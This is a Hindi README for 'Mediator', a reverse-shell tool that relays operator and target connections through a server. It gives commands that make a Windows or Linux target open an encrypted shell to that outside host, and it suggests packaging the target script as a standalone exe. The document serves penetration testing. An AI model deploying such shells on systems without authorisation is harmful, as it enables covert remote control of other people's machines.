
एक विस्तार योग्य, एंड-टू-एंड एन्क्रिप्टेड रिवर्स शेल जो पोर्ट फ़ॉरवर्डिंग के बिना नेटवर्कों पर काम करता है।
Mediator एक end-to-end एन्क्रिप्टेड रिवर्स शेल है जिसमें ऑपरेटर और शेल एक "mediator" सर्वर से कनेक्ट होते हैं जो कनेक्शनों को ब्रिज करता है। यह ऑपरेटर/हैंडलर को कनेक्शन सुनने के लिए पोर्ट फॉरवर्डिंग सेट करने की आवश्यकता को समाप्त करता है। Mediator आपको रिवर्स शेल की कार्यक्षमता का विस्तार करने के लिए प्लगइन बनाने की भी अनुमति देता है।
आप Mediator की स्क्रिप्ट को स्टैंडअलोन एक्जीक्यूटेबल के रूप में चला सकते हैं या उन्हें अन्य पेंटेस्टिंग और इंसिडेंट रिस्पॉन्स टूल्स में एकीकरण के लिए इम्पोर्ट कर सकते हैं।
end-to-end एन्क्रिप्टेड चैट एप्लिकेशनों से प्रेरित होकर, Mediator रिवर्स शेल के क्लाइंट/सर्वर मॉडल के लिए एक अनूठा दृष्टिकोण अपनाता है। Mediator उपयोग करता है:
रिवर्स शेल और हैंडलर एक कनेक्शन कुंजी के साथ Mediator सर्वर से कनेक्ट होते हैं। सर्वर हैंडलर कनेक्शन के लिए पोर्ट 80 और रिवर्स शेल कनेक्शन के लिए पोर्ट 443 पर सुनता है। जब क्लाइंट mediator से कनेक्ट होते हैं, तो सर्वर क्लाइंटों को उनके संबंधित प्रकार और कनेक्शन कुंजी के अनुसार कतारबद्ध करता है। जब एक रिवर्स शेल और एक ऑपरेटर दोनों एक ही कुंजी के साथ सर्वर से कनेक्ट होते हैं, तो सर्वर दो कनेक्शनों को ब्रिज कर देगा। वहाँ से, दो क्लाइंटों के बीच एक कुंजी विनिमय किया जाता है, और रिवर्स शेल और ऑपरेटर के बीच सभी संचार end-to-end एन्क्रिप्टेड होता है। यह सुनिश्चित करता है कि सर्वर उन स्ट्रीमों पर जासूसी नहीं कर सकता जिन्हें वह पाइप कर रहा है।
प्लगइन्स आपको अतिरिक्त कमांड जोड़ने की अनुमति देते हैं जो ऑपरेटर के होस्ट, लक्ष्य होस्ट, या दोनों पर कोड निष्पादित कर सकते हैं! कृपया प्लगइन्स के बारे में अधिक जानकारी के लिए प्लगइन्स निर्देशिका में README देखें।
क्लाइंट स्क्रिप्ट विंडोज़ या लिनक्स पर चलाई जा सकती हैं, लेकिन आपको Linux होस्ट पर सर्वर (mediator.py) स्थापित करना होगा। सर्वर शुद्ध Python है, इसलिए कोई निर्भरता स्थापित करने की आवश्यकता नहीं है। आप सर्वर स्क्रिप्ट को इस प्रकार चला सकते हैं:
$ python3 mediator.py
या आप प्रदान किए गए Dockerfile के साथ Docker इमेज बना सकते हैं और इसे एक कंटेनर में चला सकते हैं (सुनिश्चित करें कि पोर्ट 80 और 443 प्रकाशित करें)।
क्लाइंट के काम करने के लिए आपको requirements.txt) में पाई गई निर्भरताओं को स्थापित करना होगा। आप ऐसा निम्नलिखित कमांड के साथ कर सकते हैं:
$ pip3 install -r requirements.txt
निर्भरताओं के बारे में चिंता किए बिना क्लाइंट को वितरित करने में सहायता के लिए नीचे युक्तियाँ और अनुस्मारक देखें।
हैंडलर और रिवर्स शेल का उपयोग अन्य Python स्क्रिप्ट के अंदर या सीधे कमांड लाइन के माध्यम से किया जा सकता है। दोनों मामलों में, क्लाइंट सर्वर पता और कनेक्शन कुंजी के लिए तर्क स्वीकार कर सकते हैं। उन तर्कों के उपयोग का वर्णन नीचे किया गया है।
Mediator सर्वर पता
Python स्क्रिप्ट उपयोग के लिए, mediator होस्ट का पता इंस्टेंशिएशन के समय आवश्यक है:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
WindowsRShell class
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
यदि क्लाइंट स्क्रिप्ट सीधे शेल से निष्पादित कर रहे हैं, तो आप स्क्रिप्ट के निचले भाग में पता हार्ड कोड कर सकते हैं, या सर्वर पते को -s या --server फ्लैग के साथ एक तर्क के रूप में निर्दिष्ट किया जा सकता है:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
कनेक्शन कुंजी
जब दो हैंडलर या दो रिवर्स शेल एक ही कनेक्शन कुंजी के साथ mediator सर्वर से कनेक्ट होते हैं, तो केवल पहला कनेक्शन अपने मिलान की प्रतीक्षा में कतारबद्ध होता है। जब तक कतारबद्ध कनेक्शन या तो टाइम आउट (30 सेकंड) हो जाता है या किसी समकक्ष कनेक्शन से मेल खाता है, उसी कनेक्शन कुंजी के साथ कनेक्ट करने का प्रयास करने वाले उसी प्रकार के अन्य सभी क्लाइंट को गिरा दिया जाएगा।
यह सुनिश्चित करना महत्वपूर्ण है कि प्रत्येक हैंडलर एक अद्वितीय कनेक्शन कुंजी का उपयोग कर रहा है ताकि एक रेस कंडीशन से बचा जा सके जिसके परिणामस्वरूप गलत शेल किसी ऑपरेटर को दिया जा सके।
सर्वर द्वारा केवल उपसर्ग "#!ConnectionKey_" वाली कुंजियाँ स्वीकार की जाएंगी। डिफ़ॉल्ट कनेक्शन कुंजी "#!ConnectionKey_CHANGE_ME!!!" है।
कनेक्शन कुंजी को Python स्क्रिप्ट उपयोग के लिए बदलने के लिए, कनेक्शन कुंजी वैकल्पिक रूप से इंस्टेंशिएशन के समय प्रदान की जा सकती है:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
LinuxRShell class
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
यदि क्लाइंट स्क्रिप्ट सीधे शेल से निष्पादित कर रहे हैं, तो आप स्क्रिप्ट के निचले भाग में कनेक्शन कुंजी हार्ड कोड कर सकते हैं, या कनेक्शन कुंजी को -c या --connection-key फ्लैग के साथ एक तर्क के रूप में निर्दिष्ट किया जा सकता है:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile फ्लैग का उपयोग करके pyinstaller के साथ windowsTarget.py के लिए आसानी से एक exe बना सकते हैं।